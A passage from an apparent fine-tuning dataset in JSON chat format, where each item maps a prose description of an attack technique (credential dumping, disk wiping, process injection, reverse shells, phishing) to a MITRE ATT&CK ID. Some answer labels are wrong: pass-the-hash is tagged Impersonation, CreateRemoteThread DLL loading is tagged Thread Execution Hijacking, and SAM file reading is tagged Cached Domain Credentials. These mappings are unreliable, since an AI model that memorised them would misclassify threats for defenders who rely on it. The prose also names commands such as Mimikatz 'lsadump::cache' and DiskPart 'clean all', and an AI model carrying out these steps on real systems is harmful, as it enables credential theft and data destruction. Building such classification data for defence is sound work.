                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential harvesting module reads the Windows Credential Manager to obtain web credentials saved by Internet Explorer."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected JavaScript on a legitimate SSO login page to sniff the OTP entered by the user and send it to a remote listener."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor wipes the entire hard drive using a low-level format command, making data unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a DDE link in a spreadsheet that, when opened, launches a remote script via the DDE protocol to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder obtained a publicly shared backdoor script from a code‑sharing site and used it to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script periodically sends gratuitous ARP packets to poison the victim’s ARP cache."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members request privileged threat intel briefs from a commercial source to discover known malware families used against similar organizations."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool wipes out all active network share connections on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group enumerates open ports, discovers a VNC service listening on TCP 5901, and exploits a weak password to establish a remote session."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using msxsl.exe with a malicious XSL file, the threat actor runs arbitrary commands to establish persistence on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker replaces the device's operating system with an older, vulnerable firmware version to exploit known bugs."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a Python script that employs the PyAutoGUI library to take periodic screenshots of the active window."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the COR_PROFILER configuration, the malicious actor loads a custom profiling component that runs code with the same privileges as the victim application."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages a worm to propagate and execute a data-wiping routine on each infected host."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using elevated privileges, the attacker changes the Group Policy to enforce a firewall rule that allows traffic to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit monitors for mouse clicks and screen lock events, only launching its second stage after confirming normal user activity patterns."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sent a destructive PowerShell command that recursively removed user home directories."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates hidden files using NTFS alternate data streams to conceal malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the PATH precedence by adding a directory containing a trojanized version of a common utility, causing the utility to run the trojan instead of the legitimate version."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execution was performed by calling mshta.exe with a local .hta file that contains VBScript to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses Azure CLI commands to create a new Azure AD user, granting themselves access to cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code scans the System32\\drivers folder for .sys files to map driver components."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant performs a DNS query for a known analysis domain and ceases activity if the response resolves."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a malicious attachment disguised as a PDF invoice and emails it to finance staff, prompting them to open the file which leads to a credential‑harvesting webpage."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs process injection by queuing APCs that execute a malicious function loaded via a planted list of sections in the victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors to point to a malicious port monitor DLL."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary creates a custom .bin archive of harvested data, encrypts it, and uploads it to an FTP server."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the 'attrib +h' command to mark executable files as hidden, making them difficult for analysts to discover."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exfiltrates data by embedding it in HTTP GET request parameters to a command server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the intruder adds a rule that forwards all mail to a personal Gmail address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses a captured NTLM hash to authenticate as a valid user without knowing the original password."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a malicious DLL into the authentication package chain, achieving persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors used a compromised internal file‑sharing portal to upload a credential‑stealing tool that later executed via scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware parsed the output of \"netsh interface ipv4 show config\" to map network settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz's 'lsadump::cache' command, the attacker harvests cached credentials from the local system."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses encoded PowerShell commands to bypass script execution policies and install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a valid access token, the attacker registers a new Google Cloud service account to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a side-channel attack to read the RAM of a logged-in SSH client, retrieving session credentials and hijacking the active connection."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obtains its configuration from a domain that employs fast‑flux DNS, receiving varied IPs that point to different servers."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor used a signed driver to disable kernel‑mode security modules."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using process hollowing followed by breaking the parent‑child relationship, the attacker disguises the malicious process as a legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used Google dorks to locate exposed admin panels on public websites belonging to the target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit DNS reconnaissance to retrieve subdomain names and IP ranges of the compromised organization."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modifies a trusted RSS feed by adding a script payload that runs in readers' browsers."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office template macro is delivered via phishing email, and the macro executes during the document's rendering in the Office suite."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the attacker resets the VM's network settings and rolls back the OS to a previous restore point."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies a remote access tool from their command server to the victim host using SMB file shares."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a new LDAP entry for a user with elevated privileges to infiltrate the corporate directory."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan injects a reflective DLL by allocating memory in a victim process and then creating a new thread via CreateRemoteThread to load the DLL."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the built-in MSBuild tool to perform proxy execution, wrapping a PowerShell payload within a .csproj file."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits an insecure XSLT transformation in a document processing workflow, allowing script execution via the XSL 1.0 \"script\" element."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a ServiceAccount token to disable firewall logging and alerts in the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the “Add device” feature in a SaaS platform to hijack a victim’s session after they log out."
            },
            {
                "role": "assistant",
                "content": "T1098.005 – Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a supply chain attack to pre-install malicious firmware on network interface cards, ensuring persistence before OS boot."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool writes a new authorized key entry, giving them persistent SSH connectivity."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the intruder calls a vendor-specific utility to perform a secure erase of the disk's sector map and partition entries."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is executed on the target CMS, altering the landing page to display ransomware demands."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan performs process hollowing by first calling ZwCreateSection to allocate a new memory section, then swaps the original image with its payload."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ DiskPart with the 'clean all' command to perform a full disk wipe before exfiltrating remaining data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker uses PowerShell's Get-Date cmdlet to enumerate the victim machine's clock."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited valid domain accounts to execute commands on multiple servers."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installer adds RTLO characters to its installer filename, making the installer seem like a standard update package while it silently deploys backdoors."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads a crafted kernel module on a Linux machine to execute code with kernel‑mode privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability to generate an endless loop of system calls, exhausting the operating system's handles and causing a denial of service on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a barrage of DNS queries with malformed payloads to overload the DNS resolver on the host, causing it to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app reads the clipboard for any copied cryptocurrency wallet addresses."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the operator appends a Base64‑encoded PowerShell command to the Microsoft.PowerShell_profile.ps1 to establish a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used the Linux command \"ls -laR /\" to discover hidden files and the full directory hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads '/proc/modules' on a Linux system to enumerate active device drivers and their sizes."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware includes a routine that enumerates all attached removable storage devices and duplicates its payload onto each, setting the hidden attribute to evade casual inspection."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a keylogger that records both keyboard input and mouse clicks, uploading logs hourly."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT creates an at command entry on a Unix host to schedule a reverse shell connection at midnight."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script reads the files in C:\\Windows\\System32\\config\\SAM to retrieve cached domain credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates with its payload via the XPC inter‑process messaging system on Apple devices."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests authentication certificates from the Linux /etc/ssl/private directory and reissues them for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor employs a custom binary protocol over TCP on port 443 to receive commands from its C2 server."
            },
            {
                "role": "assistant",
